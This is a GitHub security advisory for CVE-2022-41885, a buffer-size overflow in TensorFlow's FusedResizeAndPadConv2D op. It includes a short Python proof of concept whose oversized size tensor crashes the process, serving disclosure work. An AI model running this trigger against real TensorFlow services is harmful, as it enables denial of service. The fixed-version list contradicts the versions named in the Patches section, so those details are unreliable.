GitHub Advisoryadvisory · PyPI

GHSA-762h-vpvw-3rcx Overflow in `FusedResizeAndPadConv2D`

MEDIUM Published 2022-11-21 Modified 2022-11-21 Official page ↗
Aliases
CVE-2022-41885
Ecosystem
PyPI
Packages
tensorflow, tensorflow-cpu, tensorflow-gpu
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Weaknesses
CWE-131
Reviewed
2022-11-21

Affected packages

• PyPI tensorflow: < 2.7.4 → fixed in 2.7.4 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-cpu: < 2.7.4 → fixed in 2.7.4 • PyPI tensorflow-gpu: < 2.7.4 → fixed in 2.7.4 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1

Description

Impact When `tf.raw_ops.FusedResizeAndPadConv2D` is given a large tensor shape, it overflows. ```python import tensorflow as tf mode = "REFLECT" strides = [1, 1, 1, 1] padding = "SAME" resize_align_corners = False input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16) size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32) paddings = tf.constant([3,4], shape=[2], dtype=tf.int32) filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16) tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners) ``` Patches We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce. The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Related

Alias · CVE (1)

  • CVE-2022-41885 TensorFlow is an open source platform for machine learning. vulnerability

Weakness · CWE (1)

  • CWE-131 Incorrect Calculation of Buffer Size weakness

References